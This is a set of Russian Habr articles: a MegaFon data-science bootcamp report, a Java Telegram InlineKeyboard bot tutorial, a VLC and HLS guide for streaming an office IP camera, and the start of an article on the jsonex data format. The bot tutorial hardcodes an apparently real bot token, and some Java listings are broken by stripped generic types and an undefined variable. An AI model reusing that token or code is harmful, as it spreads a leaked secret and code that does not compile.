**Big Data — это настолько большие данные, что обычные операции над ними невозможны, стандартные алгоритмы не работают. Нужно придумывать что-то новое.**
О мероприятии я узнала от друга из Новосибирска. Это была отличная возможность попасть на мероприятие в Москве: МегаФон оплачивал проезд, проживание и питание. В общем, за компанию подала заявку, прошла тестирование. По иронии судьбы я прошла отбор, а друг — нет.
Разделяй и властвуй
На интенсиве было интересно, там схожие с университетскими дисциплины. Но все было не так безоблачно, как хотелось: на второй день занятий я получила письмо, что в университете срочно требуют подготовить отчет по летней практике. В результате днем пришлось заниматься на интенсиве, а по вечерам писать этот отчет. Неделя тогда выдалась насыщенная.
На BigDataCamp использовалась балльно-рейтинговая система, баллы начислялись за выполнение практических задач в первые четыре дня интенсива. Я помогала некоторым участникам с решением, сама тоже просила помощи. С некоторыми ребятами мы подружились и общаемся до сих пор.
На пятый день был хакатон, где нас разделили по командам в соответствии с рейтингом. Меня назначили руководителем группы из четырех человек. Это был интересный опыт. Основная задача руководителя команды состоит в грамотном распределении обязанностей. Пришлось столкнуться и с волнением членов команды, и с нежеланием одного из них что-либо делать.
Стажировка: а задачи-то совсем другие
Честно говоря, на стажировку меня пригласили сразу после интенсива. Благодаря системе дополнительной оценки я набрала много баллов. У участников были наклейки, которые они могли дарить другим за помощь — я собрала много таких стикеров.
Когда предложили стажировку, я не стала раздумывать, сразу же уволилась с текущей работы и устроилась в МегаФон.
**Сложно представить, что такая работа может быть интересной, но выглядит все именно так**
Реальные задачи, с которыми приходится сталкиваться в офисе, отличаются от заданий хакатона степенью погружения: на хакатоне ты стремишься сделать задание быстро, пусть даже не очень качественно, на работе же ориентируешься в первую очередь на результат. Также на хакатоне не нужно было самим собирать данные и делать их предобработку. В реальности это занимает больше половины времени работы над задачей.
Меня окружают ребята, которые вели лекции на интенсиве или помогали с практикой, поэтому адаптация прошла легко и быстро. Приятно ощущать поддержку и заинтересованность в том, чтобы у тебя все получилось. От стажера до аналитика я доросла за три месяца. Хотя мне повезло, я делала модель для одного из самых топовых проектов МегаФона «Персональные предложения», которые можно «вытрясти» из смартфона. Моя модель определяет, одобрит ли абонент предложение со специально подобранной для него голосовой опцией.
Большие данные и код: как раскрыть потенциал на хакатоне
Артем Селезнев Аналитик больших данных МегаФона. Артем был техническим руководителем BigDataCamp и преподавателем на интенсиве. А еще он создал для BigDataCamp онлайн-платформу для подсчета баллов и анализа кода участников.
var t531\_doResize;
$(window).resize(function(){
if (t531\_doResize) clearTimeout(t531\_doResize);
t531\_doResize = setTimeout(function() {
t531\_setHeight('161621230');
}, 200);
});
$(document).ready(function() {
t531\_setHeight('161621230');
});
Я в свое время прошел тернистый путь поиска профессии, побывал в роли специалиста по компьютерным сетям, преподавателя в колледже и программиста-хакатонщика. Что-то казалось слишком простым, что-то — однообразным. В феврале 2019 года я перешел в МегаФон аналитиком больших данных. Здесь проектов хватает на всех, а их сложность и разноплановость не дают заскучать. Хотя, конечно, есть в работе аналитика и свои минусы — мне бы хотелось больше кодить.
Так что создание онлайн-платформы подсчета баллов для BigDataCamp было моей собственной идеей. Немного повозился с кодом, и получилась несложная клиент-серверная система на Python, которая отсылала код решений примеров на сервер, проверяла его работоспособность тест-кейсами и высчитывала рейтинг участников.
Это позволило получать результаты проверки онлайн и следить за тем, на каком этапе выполнения практических занятий находятся участники. Также это была система защиты от жульничества участников, мы проверяли их на уникальность кода.
Получилось решение, совместившее в себе проверку заданий, таблицу рейтингов и мониторинг активности участников. По результатам мероприятия я немного доработал систему, и мы планируем ее использовать в других подходящих проектах.
BigDataCamp МегаФона: откуда он появился, как прошел и что в итоге получилось
Идея BigDataCamp появилась на одном из воркшопов с HR. Аналитики хотели попробовать себя в преподавании, а HR-отдел искал новый способ поиска стажеров и джунов. BigDataCamp закрывал обе потребности и в то же время отличался от стандартных курсов и хакатонов.
Хакатон прокачал сотрудников компании. Математическая основа больших данных сложна и разнообразна — это различные методы машинного обучения, задачи оптимизации, статистика, линейная алгебра. Сотрудники, привлеченные в качестве преподавателей, на каждый час выступления потратили порядка 30 часов на поиск материалов, подготовку презентаций и тестовых заданий. Освежили свои знания, попрактиковались в преподавании, работе с аудиторией, предварительно взяв несколько уроков у опытных тренеров.
Для студентов подобное мероприятие — это возможность не только получить новые знания и проверить их на хакатоне, но и реальное недельное погружение в жизнь телеком-компании. «Плюшки» получили все участники: бесплатное обучение, для ребят из других городов предусмотрена оплата дороги и проживания, наконец, afterparty после хакатона.
Вступительное техническое тестирование было подробным и сложным, включало в себя проверку знаний от Unix и Python до статистики, алгоритмов и структур данных. Из примерно 2000 заявок были отобраны 20 студентов. Помимо результатов тестов, при отборе учитывалось и содержание мотивационного письма: с какой целью человек идет на мероприятие, насколько он стремится стать частью команды МегаФона.
Вопросы тестирования были непростыми, вот несколько для примера:
Всех, кто прошел первый этап, ждал интенсив. Организаторам необходимо было выбрать формат, который позволил бы участникам погрузиться в обучение, сфокусироваться на нем, но при этом не занял бы слишком много времени. В итоге получилась конфигурация из четырех дней обучения, наполненных лекциями и практическими занятиями, с последующим однодневным хакатоном.
Темы для занятий были такие:
* Математика и Python для анализа данных. Основные средства разработки.
* Введение в машинное обучение. Предобработка данных. Алгоритмы kNN и наивный байес. Знакомство с sklearn.
* Линейные модели и метрики качества.
* Деревья решений. Boosting и Bagging.
После теоретического блока шла практика: участники решали задачи, писали код.
Примеры задач:
Метрики качества
**В данном задании вам необходимо реализовать 4 основные метрики:**
* *M A E;*
* *M S E;*
* *R M S E;*
* *R².*
Каждая из метрик принимает на вход 2 одномерных numpy массива:
* y\_true — истинные значения;
* y\_predict — предсказанные значения.
Каждая из функций должна возвращать одно число.
**!!ВАЖНО!!** не используйте в этих функциях циклы — тогда она будет вычислительно неэффективной.
In=[12]:
```
def MAError(y_true, y_predict):
# YOUR CODE HERE
return error
def MSError(y_true, y_predict):
# YOUR CODE HERE
return error
def RMSEror(y_true, y_predict):
# YOUR CODE HERE
return error
def R_square(y_true, y_predict):
# YOUR CODE HERE
return error
def all_metric(y_true, y_predict):
d = {}
d['MAE'] = [MAError(y_true, y_predict)]
d['MSE'] = [MSError(y_true, y_predict)]
d['RMSE'] = [RMSError(y_true, y_predict)]
d['R_square'] = [R_square(y_true, y_predict)]
return d
# TESTS
assert round(MAError(y_true=Y_train, y_predict=Y_train_predict), 3) == 1.274, 'Неверно реализован расчет'
assert time_delta(MAError, Y_train, Y_train_predict) < 1.5, 'Функция работает слишком долго. Возможно, вы используете лишние циклы.'
assert round(MSError(y_true=Y_train, y_predict=Y_train_predict), 3) == 2.22, 'Неверно реализован расчет'
assert time_delta(MSError, Y_train, Y_train_predict) < 1.5, 'Функция работает слишком долго. Возможно, вы используете лишние циклы.'
```
$(document).ready(function(){
hljs.initHighlightingOnLoad();
});
.t264 .hljs {
background-color: ;
}
**Немного теории**
Мы разберем **основные метрики качества и функционалы потерь** задачи регрессии. Далее все будем называть **метриками**.
**Метрики необходимы для:**
* поиска оптимального решения;
* оценки качества работы модели;
* сравнения моделей;
* интерпретации результатов.
+ легко интерпретировать
+ единицы измерения таргета и метрики — эквивалентны
+ устойчивы к выбросам
- не ограничена сверху
- не дифференцируема в таком виде
+ дифференцируема
+ чувствительна к выбросам
- не ограничена сверху
- сложно интегрировать
+ дифференцируема
- не ограничена сверху
- еще сложнее интерпретировать
Основное различие ***R M S E*** и ***M A E*** заключается в том, что минимизация ***R M S E*** стремится к средней оценке, а ***M A E*** к медиане.
y — истинное значение, ŷ — предсказанное значение.
Две попытки **объединить** положительные **свойства метрик**:
**Функция потерь Хьюбера:**
* ведет себя как M S E на ошибках меньше σ и как M A E в противном случае. **Что не дает «взрываться» метрике на больших значениях и «жестко» реагирует на маленькие остатки.**
* Всё так же неудобно дифференцировать.
**Log-Cosh Loss:**
* принимает меньшие значения по сравнению с функцией Хьюбера на всем множестве.
* **Дважды дифференцируема**, что необходимо в некоторых методах численной оптимизации.
---
Хакатон BigDataCamp был не совсем обычным, особенно с точки зрения оценки. Для победы надо было не просто создать модель, показывающую лучший результат, но и продемонстрировать осмысленный подход к используемым метрикам, обосновать сделанный выбор и визуализировать его.
С BigDataCamp никто не ушел без приобретений. Кто-то из участников открыл для себя новое направление работы, кто-то устроился на стажировку, кто-то — на работу в крупную компанию, кто-то приобрел новых друзей, а кто-то просто провел время с пользой. По итогам BigDataCamp МегаФон закрыл несколько важных вакансий. А действующие сотрудники компании получили бесценный опыт организации сложного процесса обучения и тестирования. | https://habr.com/ru/post/488350/ | null | ru | null |
# InlineKeyboard в Телеграмм ботах (Telegram Bots)
InlineKeyboard — клавиатура привязанная к сообщению, изпользующая обратный вызов (CallbackQuery), вместо отправки сообщения с обыкновенной клавиатуры.
**Пример**
#### Создание каркаса бота
Для начала создадим проект на Maven и добавим репозиторий "[Telegram Bots](https://mvnrepository.com/artifact/org.telegram/telegrambots/4.0.0)":
```
org.telegram
telegrambots
4.0.0
```
При помощью [BotFather](https://telegram.me/BotFather) регистрируем бота и получаем token:
**Скрин**
Далее создаем класс Bot, наследуемся от TelegramLongPollingBot и Овверайдим методы:
**Исходный код**
```
import org.telegram.telegrambots.bots.TelegramLongPollingBot;
import org.telegram.telegrambots.meta.api.objects.Update;
public class Bot extends TelegramLongPollingBot {
@Override
public void onUpdateReceived(Update update) {
}
@Override
public String getBotUsername() {
return null;
}
@Override
public String getBotToken() {
return null;
}
}
```
Создаем final переменные с именем бота и токеном, добавляем в метод getBotUsername() — botUserName, в getBotToken() — token. В методе main регистрируем бота:
**Исходный код**
```
import org.telegram.telegrambots.bots.TelegramLongPollingBot;
import org.telegram.telegrambots.meta.TelegramBotsApi;
import org.telegram.telegrambots.meta.api.objects.Update;
import org.telegram.telegrambots.meta.exceptions.TelegramApiRequestException;
public class Bot extends TelegramLongPollingBot {
private static final String botUserName = "Habr_Inlinebot";
private static final String token = "632072575:AAG5YNl9tM9MJbnP5HwLB22rVzNCmY05MQI";
public static void main(String[] args) {
ApiContextInitializer.init();
TelegramBotsApi telegramBotsApi = new TelegramBotsApi();
try {
telegramBotsApi.registerBot(new Bot());
} catch (TelegramApiRequestException e) {
e.printStackTrace();
}
}
@Override
public void onUpdateReceived(Update update) {
}
@Override
public String getBotUsername() {
return botUserName;
}
@Override
public String getBotToken() {
return token;
}
}
```
Каркас бота готов! Теперь напишем метод с InlineKeyboard.
### Работа с InlineKeyboard
Создаем обьект разметки клавиатуры:
```
InlineKeyboardMarkup inlineKeyboardMarkup =new InlineKeyboardMarkup();
```
Теперь выстраиваем положение кнопок.
Создаем обьект InlineKeyboardButton, у которой есть 2 параметка: Текст (Что будет написано на самой кнопке) и CallBackData (Что будет отсылатся серверу при нажатии на кнопку).
```
InlineKeyboardButton inlineKeyboardButton = new InlineKeyboardButton();
inlineKeyboardButton.setText("Тык");
inlineKeyboardButton.setCallbackData("Button \"Тык\" has been pressed");
```
Добавляем его в список, таким образом создавая ряд.
```
List keyboardButtonsRow1 = new ArrayList<>();
keyboardButtons.add(inlineKeyboardButton);
```
Если желаете создать еще один ряд, просто сделайте еще один список и добавляйте в него новые кнопки.
```
List keyboardButtonsRow2 = new ArrayList<>();
keyboardButtons.add(inlineKeyboardButton2);
```
После этого нам нужно обьеденить ряды, поэтому создаем список рядов.
```
List> rowList= new ArrayList<>();
rowList.add(keyboardButtonsRow1);
rowList.add(keyboardButtonsRow2);
```
*Фича*
Разработчик позаботился о нас и мы можем сразу записывать кнопки в список не создавая переменную.
```
keyboardButtonsRow1.add(new InlineKeyboardButton().setText("Fi4a")
.setCallbackData("CallFi4a"));
```
Теперь мы можем установить кнопки в обьект разметки клавиатуры.
```
inlineKeyboardMarkup.setKeyboard(rowList);
```
Если немного не понятно описание работы с созданием клавиатуры, вот вам схема:
Вот и всё! Теперь добавляем разметку в сообщение:
```
SendMessage message = new SendMessage().setChatId(chatId).setText("Пример") .setReplyMarkup(inlineKeyboardMarkup);
```
Теперь можем отправлять, вот вам готовый метод:
**Исходный код**
```
public static SendMessage sendInlineKeyBoardMessage(long chatId) {
InlineKeyboardMarkup inlineKeyboardMarkup = new InlineKeyboardMarkup();
InlineKeyboardButton inlineKeyboardButton1 = new InlineKeyboardButton();
InlineKeyboardButton inlineKeyboardButton2 = new InlineKeyboardButton();
inlineKeyboardButton1.setText("Тык");
inlineKeyboardButton1.setCallbackData("Button \"Тык\" has been pressed");
inlineKeyboardButton2.setText("Тык2");
inlineKeyboardButton2.setCallbackData("Button \"Тык2\" has been pressed");
List keyboardButtonsRow1 = new ArrayList<>();
List keyboardButtonsRow2 = new ArrayList<>();
keyboardButtonsRow1.add(inlineKeyboardButton1);
keyboardButtonsRow1.add(new InlineKeyboardButton().setText("Fi4a").setCallbackData("CallFi4a"));
keyboardButtonsRow2.add(inlineKeyboardButton2);
List> rowList = new ArrayList<>();
rowList.add(keyboardButtonsRow1);
rowList.add(keyboardButtonsRow2);
inlineKeyboardMarkup.setKeyboard(rowList);
return new SendMessage().setChatId(chatId).setText("Пример").setReplyMarkup(inlineKeyboardMarkup);
}
```
Делаем вариант когда будет вызывается метод в обработчике запросов onUpdateReceived:
**Исходный код**
```
@Override
public void onUpdateReceived(Update update) {
if(update.hasMessage()){
if(update.getMessage().hasText()){
if(update.getMessage().getText().equals("Hello")){
try {
execute(sendInlineKeyBoardMessage(update.getMessage().getChatId()));
} catch (TelegramApiException e) {
e.printStackTrace();
}
}
}
}
}
```
Пробуем!
Теперь нам нужно обработать делаем новое ветвление в if и обрабатываем CallbackQuery:
**Исходный код**
```
@Override
public void onUpdateReceived(Update update) {
if(update.hasMessage()){
if(update.getMessage().hasText()){
if(update.getMessage().getText().equals("Hello")){
try {
execute(sendInlineKeyBoardMessage(update.getMessage().getChatId()));
} catch (TelegramApiException e) {
e.printStackTrace();
}
}
}
}else if(update.hasCallbackQuery()){
try {
execute(new SendMessage().setText(
update.getCallbackQuery().getData())
.setChatId(update.getCallbackQuery().getMessage().getChatId()));
} catch (TelegramApiException e) {
e.printStackTrace();
}
}
}
```
Проверяем!
#### На этом, пожалуй всё, спасибо за внимание!
Весь исходный код:
**Весь код**
```
import org.telegram.telegrambots.ApiContextInitializer;
import org.telegram.telegrambots.bots.TelegramLongPollingBot;
import org.telegram.telegrambots.meta.ApiContext;
import org.telegram.telegrambots.meta.TelegramBotsApi;
import org.telegram.telegrambots.meta.api.methods.send.SendMessage;
import org.telegram.telegrambots.meta.api.objects.Update;
import org.telegram.telegrambots.meta.api.objects.replykeyboard.InlineKeyboardMarkup;
import org.telegram.telegrambots.meta.api.objects.replykeyboard.buttons.InlineKeyboardButton;
import org.telegram.telegrambots.meta.api.objects.replykeyboard.buttons.KeyboardButton;
import org.telegram.telegrambots.meta.exceptions.TelegramApiException;
import org.telegram.telegrambots.meta.exceptions.TelegramApiRequestException;
import java.util.ArrayList;
import java.util.List;
public class Bot extends TelegramLongPollingBot {
private static final String botUserName = "Habr_Inlinebot";
private static final String token = "632072575:AAG5YNl9tM9MJbnP5HwLB22rVzNCmY05MQI";
public static void main(String[] args) {
ApiContextInitializer.init();
TelegramBotsApi telegramBotsApi = new TelegramBotsApi();
try {
telegramBotsApi.registerBot(new Bot());
} catch (TelegramApiRequestException e) {
e.printStackTrace();
}
}
@Override
public void onUpdateReceived(Update update) {
if(update.hasMessage()){
if(update.getMessage().hasText()){
if(update.getMessage().getText().equals("Hello")){
try {
execute(sendInlineKeyBoardMessage(update.getMessage().getChatId()));
} catch (TelegramApiException e) {
e.printStackTrace();
}
}
}
}else if(update.hasCallbackQuery()){
try {
execute(new SendMessage().setText(
update.getCallbackQuery().getData())
.setChatId(update.getCallbackQuery().getMessage().getChatId()));
} catch (TelegramApiException e) {
e.printStackTrace();
}
}
}
@Override
public String getBotUsername() {
return botUserName;
}
@Override
public String getBotToken() {
return token;
}
public static SendMessage sendInlineKeyBoardMessage(long chatId) {
InlineKeyboardMarkup inlineKeyboardMarkup = new InlineKeyboardMarkup();
InlineKeyboardButton inlineKeyboardButton1 = new InlineKeyboardButton();
InlineKeyboardButton inlineKeyboardButton2 = new InlineKeyboardButton();
inlineKeyboardButton1.setText("Тык");
inlineKeyboardButton1.setCallbackData("Button \"Тык\" has been pressed");
inlineKeyboardButton2.setText("Тык2");
inlineKeyboardButton2.setCallbackData("Button \"Тык2\" has been pressed");
List keyboardButtonsRow1 = new ArrayList<>();
List keyboardButtonsRow2 = new ArrayList<>();
keyboardButtonsRow1.add(inlineKeyboardButton1);
keyboardButtonsRow1.add(new InlineKeyboardButton().setText("Fi4a").setCallbackData("CallFi4a"));
keyboardButtonsRow2.add(inlineKeyboardButton2);
List> rowList = new ArrayList<>();
rowList.add(keyboardButtonsRow1);
rowList.add(keyboardButtonsRow2);
inlineKeyboardMarkup.setKeyboard(rowList);
return new SendMessage().setChatId(chatId).setText("Пример").setReplyMarkup(inlineKeyboardMarkup);
}
}
``` | https://habr.com/ru/post/418905/ | null | ru | null |
# Смотрим IP-камеру DLink на iPhone и Android
Захотел как-то директор некой организации Т посмотреть из отпуска, как у него продажники работают в его отсутствие. Так на потолке в кабинете отдела продаж появилась IP-камера с микрофоном. Дальше мне, как технарю, предстояло отдать звук+видео с камеры на яблочный телефон и на планшет от компании, которая возвращает долги целыми грузовиками пятицентовых монет.
Скажу сразу, все жители кабинета знают про камеру с микрофоном.
Первое решение этой задачи было весьма незамысловатым: web-камера и скайп, который сам поднимал трубку при звонке от директора. Решение прожило не долго. То камера “упадёт” глазом вниз, то комп “забудут” включить. И в те редкие счастливые случаи, когда позвонить всё таки удавалось, почему-то все работали.
Директор попросил другое решение задачи, на которое сотрудники не смогут повлият. Предложил wi-fi камеру, отключить которую можно только отключив питание у камеры или точки доступа или всего кабинета. Розетка камеры на потолке, по-быстрому не отключишь. Отключение точки доступа или кабинета чревато неработой всех компьютеров. Решение было поддержано и оплачено. Приступаем.
Выбор камеры как-то сразу ограничился наличием на полках магазина. Это D-Link DCP-2130. Монтаж и настройка камеры просты: монтаж — электрик, камера — ip-адрес и пароль. Камера умеет по http отдать изображение в mjpeg, но без звука. Умеет отдать звук+видео по [rtsp](http://ru.wikipedia.org/wiki/RTSP) (`rtsp://ipcamera/video1.sdp`)
Почему-то не все плееры дружат с rtsp. VLC оказался молодцом и победил других коллег.
Ярлычок “`vlc rtsp://ipcamera/video1.sdp`” на рабочий стол директора и просмотр в офисе на десктопе готов.
А вот дальше пришлось достать бубен, ибо хочется посмотреть кино с весёлыми человечками откуда угодно.
Путь первый: пробросить rtsp на шлюзе с внешнего ip на камеру. Fail. И вот почему:
1. rtsp не имеет никакой защиты в виде аутентификации смотрящего и наружу на шару выпустить это кино запрещено. Хотел было переименовать `video1.sdp` в `mohqu3iep8Ohh.sdp`, но такое не запомнить, и см п.2
2. Сильно не копал, но успел понять, что rtsp тяжко или совсем нельзя просмотреть на iOS, и далеко не каждый плеер на Android осилит.
И так, проброс порта снаружи на камеру отпал.
Путь второй: html5 или flash. Успех, но не весь.
я не смог найти ни одного flash плеера, который бы поддерживал rtsp. HTML5 video вообще не поддерживает потокового вещания. Но! VLC прекрасно читает имеющийся поток, VLC умеет декодировать видео на лету, VLC умеет отдавать по HTTP, да ещё и с аутентификацией. И у нас есть компьютер-шлюз. Совмещаем шлюз и умения VLC воедино командой на шлюзе
```
vlc.exe -I dummy rtsp://192.168.0.333:554/live1.sdp --http-reconnect --repeat --rtsp-caching=4600 --loop --sout=#transcode{width=320,vcodec=h264,vb=384,fps=15,venc=x264{aud,profile=baseline,level=30,keyint=30,ref=1},acodec=mp4a,ab=64,channels=1,samplerate=22050,audio-sync}:http{user=camuser,pwd=campass,dst=:8080/st.flv} --no-sout-rtp-sap --no-sout-standard-sap --ttl=1 --sout-keep
```
где `192.168.0.333` — это IP камеры, а `rtsp://192.168.0.333/live1.sdp` — это, соответственно, живой поток с камеры.
В итоге получаем, что по `camuser:campass@gate:8080/st.flv` идёт преобразованный видеопоток, уже годный для flash плеера. Кстати, открывается многими плеерами на Android, что не может не радовать.
Открываем порт 8080 на шлюзе и к потоку появляется доступ снаружи, и, как вы уже, возможно, заметили, имеющий хоть какую-то аутентификацию. Теперь flash плееру в качестве источника можно подсунуть наш поток в виде
`camuser:campass@camera.my-org.ru:8080/st.flv`
По совету друзей выбор пал на JW Player. Его простота и работоспособность полностью удовлетворили.
Накидал html страничку с аутентификацией и flash плеером, проверил, работает с компьютеров и с указанного в начале статьи планшета. Теперь директор с компьютера или с планшета заходит на
`camera.my-org.ru`, вводит имяпароль и смотрит, как его орлы работают, а кто на просто чай залетел.
Если тот же поток подсунуть html5 плееру, то ничего не выйдет, html5 никак не хочет понимать потоковое видео. Долгая игра с форматами видео/звука результата не дала. Но хочется смотреть кино ещё и на телефоне от одной фруктовой компании, а как известно, эта самая фруктовая компания ваши флеши на html вертела, поэтому меня ждал
Путь третий: Откусить яблоко и не умереть от счастья. Успех.
Гугление в яндексе долго не давало никаких результатов. Вообще никаких. Я уж начал сомневаться в своих умениях спрашивать у поисковиков. Я точно знал, что раз презентации Apple можно в прямом эфире смотреть на Apple же устройствах без дополнительных танцев, то это возможно. Примерно на третьем наскоке найти решение, я заметил часто повторяющуюся комбинацию слов, а именно [HTTP Live Streaming](http://en.wikipedia.org/wiki/HTTP_Live_Streaming). Я был восхищён решением Apple. Как известно, html5 умеет проигрывать только имеющийся файл. Вот и чудненько, подумали в Apple, и сказали: “а давайте представим, что живой поток — это кусочки по 10 секунд, нужно всего лишь, закончив играть текущий кусочек, сразу начать играть следующий” Супер! Это настолько гениально, насколько просто. Каждый занят своим делом. HTML5 video показывает файлы, он это умеет. Http-server файлы отдаёт и занимается всякой нагрузкой, авторизауией и пр. Он для этого и сделан. Остаётся лишь эти 10секундные кусочки вовремя подсовывать. И решение есть, и вновь VLC победил. VLC, как и остальные члены этой связки, занят исключительно своим делом — кодирует видео. Запускаем
```
vlc.exe -I dummy --mms-caching 0 rtsp://192.168.0.333:554/live1.sdp vlc://quit --sout="#transcode{width=320,height=180,fps=15,vcodec=h264,vb=384,venc=x264{aud,profile=baseline,level=30,keyint=30,ref=1},acodec=mp3,ab=64,channels=1}:std{access=livehttp{seglen=10,delsegs=true,numsegs=5,index=c:\www\cam01\istream.m3u8,index-url=http://camera.my-org.ru/cam01/cam01-########.ts},mux=ts{use-key-frames},dst=c:\www\cam01\cam01-########.ts}"
```
Вот что получаем: VLC складывает в папку `c:\www\cam01\ файлы cam01-########.ts` и постоянно обновляющийся плейлист `istream.m3u8`, содержащий ссылки на эти файлы. Хранит 5 свежих кусочков видео, старые удаляет.
Собственно этот плейлист и отдаём HTML5 видео плееру на iDevice в качестве источника. Смотрим и наслаждаемся потоковым видео. Вот насколько просто выглядит HTML-файл:
```
```
Помним только, что у Apache в .htaccess или конфигах нужно дописать новые типы файлов
```
AddType application/x-mpegURL m3u8
AddType video/MP2T ts
```
К сожалению, подсунуть такой плейлист в качестве источника для HTML5 видео можно только iDevice’ам. Жаль, что пропадает такое великолепное решение.
После почёсывания ЧСВ от проделанной работы немного обновил html страничку. Теперь директор заходит на сайт, логинится, и смотрит хоть с десктопа, хоть с Android, хоть c iOS.
хак: под андроид есть Puffin Web Browser который умеет показывать флешь, даже если флешь не установлен.
Добавляем запуск VLC в автозапуск и, пожалуй, готово.
Наблюдения за месяц полёта:
1. Тот VLC, который кодирует кусочки для iOS, работает стабильно неделями.
2. VLC, который гонит поток для флэша, любит падать через 1-2 дня непрерывной работы. Решение — перезапуск каждые два часа.
3. VLC, который гонит поток для флеша иногда теряет видео, оставляя только звук на фотне чёрного прямоугольника не Малевича. Решение не найдено, поэтому-то перезапуск каждые два часа, а не раз в сутки.
4. шлюз, на котором запущены VLC — это какой-то ранний P4 с 1G оперативной памяти, Win2K3. VLC потребляет немного оперативки и 50-60% процессора. | https://habr.com/ru/post/153117/ | null | ru | null |
# jsonex – упрощаем сложные клиент-серверные диалоги
Взаимодействие между клиентом и сервером как правило устроено очень просто и опирается на довольно примитивный инструментарий. Это не создает проблем само по себе, но зачастую даже небольшое усложнение поставленной задачи плохо укладываться в привычные подходы, порождая не слишком изящные решения-заплатки. Многие задачи решаются в каждом новом проекте заново, бессистемно и независимо друг от друга. К подобным задачам относятся, например:
* Batch-запросы
* Передача даты в составе сложной структуры данных
* Обозначение кастомных типов данных
* Проброс round-trip данных, которые сервер должен вернуть в ответе
* Дополнение запроса и ответа метаданными
* Обработка ошибок, пришедших в ответе
Разработчики тратят немало времени, раз за разом создавая неказистые велосипеды на серверной стороне, после чего их приходится поддерживать еще и на стороне клиента.
jsonex представляет собой попытку объединить решение упомянутых выше и многих других задач в рамках простого единого подхода, основанного на концепции вычислимых данных (callable data).
##### Содержание
[jsonex](#jsonex)
[Нотация вызова (call notation)](#call_notation)
[Контекст](#context)
[Связь jsonex и JS](#js)
[Вычислимые данные (callable data)](#callable_data)
[Взгляд со стороны клиента](#client)
[Преимущества вычислимых данных](#callable_data_advantages)
[Работа с HTTP и веб сокетами](#http)
[Соображения безопасности](#security)
[JSON-представление](#json)
[Асинхронные вызовы](#async)
[Arc](#arc)
[Заключение](#final)
#### jsonex
Концепция вычислимых данных проста и может быть использована для самых разных форматов данных. Чуть дальше я расскажу, как использовать ее [в рамках JSON-представления](#json). Но, чтобы продемонстрировать идею в чистом виде, начнем издалека.
Во многих случаях мы используем JSON, и он прекрасен. Он прост, легко читается, позволяет представлять иерархические структуры данных, широко поддерживается. Тем не менее, некоторые вещи хотелось бы улучшить, например:
* Разрешить комментарии
* Позволить использовать апострофы для строк
* Позволить опускать кавычки для ключей в словарях
* Разрешить завершающие запятые в словарях и списках
Наш расширенный вариант JSON (назовем его jsonex) мог бы выглядеть, например, так:
```
{ // Пользователь
name: 'John',
familyName: 'Smith',
dateOfBirth: '1901-01-01',
friendIds: [
124124,
283746, /* завершающая запятая */
],
num: 123,
}
```
Уже неплохо. Многое бы отдал за возможность писать комментарии в JSON-конфигах. Но есть в этом примере одна весьма сомнительная строчка:
```
dateOfBirth: '1901-01-01',
```
Что это? Строка? Дата? Человек может догадаться по контексту, но парсер вряд ли окажется столь же догадлив. Тип даты не предусмотрен форматом. Чтобы его распознать, можно использовать два подхода – описать схему данных, либо использовать какую-то подсказку-аннотацию, которая могла бы направить парсер в нужном направлении.
JSON изначально не требует схемы, и было бы странно требовать ее наличия только ради возможности подсказать парсеру, в каком из полей лежит дата. Поэтому пойдем вторым путем. Можно придумать множество способов добавить аннотацию для даты, но было бы неплохо иметь простой и в то же время универсальный способ обозначать любые типы данных. Для этой цели замечательно подойдет нотация вызова.
#### Нотация вызова (call notation)
Запишем наше поле так:
```
dateOfBirth: Date('1901-01-01'),
```
Теперь тип данных выглядит очевидным. Но что конкретно должен сделать парсер, встретив подобную запись? Подход достаточно прямолинеен. Встретив конструкцию вида `SomeName(args...)` парсер должен:
* Найти у себя в закромах заранее заданную функцию-обработчик с именем `SomeName`
* Выполнить эту функцию над аргументами `args...`
* Использовать результат ее выполнения в обработанных данных вместо изначальной конструкции
Таким образом, результат разбора полностью зависит от реализации функции-обработчика. Наш вызов `Date('1901-01-01')` превратится в объект типа `Date` в JavaScript, `date` или `datetime` в Питоне и так далее.
В случае, когда парсер не может найти обработчик с заданным именем, он вызывает обработчик по умолчанию, который либо вернет что-то разумное, либо бросит исключение.
Может показаться, что, обрабатывая нотации вызова, мы попросту выполняем содержащийся в данных произвольный кусочек кода, но это не так:
* Данные остаются данными и контроль над обработкой полностью лежит на нашей стороне
* Парсер не может использовать никакие функции кроме заданных явным образом обработчиков
* Любая функция-обработчик определена нами и может выполнить любые предварительные проверки, прежде чем совершать активные действия
Далее мы рассмотрим эти моменты более подробно. А пока заметим, что нотация вызова дает нам просто потрясающую гибкость. Добавляя новые обработчики мы можем легко расширять систему:
```
var handlers = {
Date: function (ctx, v) {
return new Date(v);
},
Complex: function (ctx, real, imag) {
return new Complex(real, imag);
},
ArrayBuffer: function (ctx, v) {
return base64DecToArr(v).buffer;
},
Person: function (ctx, personDataDict) {
return new Person(personDataDict);
}
};
// это не настоящий парсер, просто пример каким он мог бы быть
var person = new JsonexParser(handlers).parse(
"Person({"+
" name: 'John',"+
" dateOfBirth: Date('1901-01-01'),"+
" i: Complex(0, 1),"+
" song: ArrayBuffer('Q2FsbCBub3RhdGlvbiBpcyBjb29sIQ=='),"+
"})"
);
```
Здесь мы добавили возможность парсинга дат, комплексных чисел, бинарных данных в base64-представлении – все это буквально в несколько строк кода и совершенно не меняя устройство нашего гипотетического парсера.
#### Контекст
Как вы могли заметить, каждый обработчик, помимо собственных аргументов, принимает параметр `ctx`. В этом параметре передается контекст обработки. На данном этапе будем считать, что `ctx` – это изначально пустой словарь. Благодаря контексту мы можем:
* Позволить обработчикам «общаться» друг с другом
* Передавать обработчикам какие-то настройки
* Передавать обработчикам дополнительные данные из внешнего окружения
* Сохранять дополнительную информацию, полученную в процессе парсинга
Например, с помощью контекста легко создать обработчики `get` и `set`, которые позволят использовать вычисленные ранее объекты:
```
var handlers = {
// кладем данные в коробку и возвращаем их же
set: function (ctx, key, data) {
ctx.box = ctx.box || {};
ctx.box[key] = data;
return data;
},
// возвращаем данные, взятые из коробки
get: function (ctx, key) {
return ctx.box ? ctx.box[key] : undefined;
}
};
var data = new JsonexParser(handlers).parse(
"[ set('x', { a: 'a' }), get('x') ]"
);
data[0].a = 5; // в data[0] и data[1] лежит ссылка на один и тот же объект
console.log(JSON.stringify(data)); // [{"a":5},{"a":5}]
```
#### Связь jsonex и JS
Так же, как и JSON, jsonex тесно связан с синтаксисом JS. Он является синтаксически корректным JS-выражением и в простейших случаях даже может быть вычислен как JS-выражение, при условии, что каждая нотация вызова определена в контексте вычисления. Например,
```
[
foo(),
bar.baz() // да, jsonex позволяет точки в именах вызовов
]
```
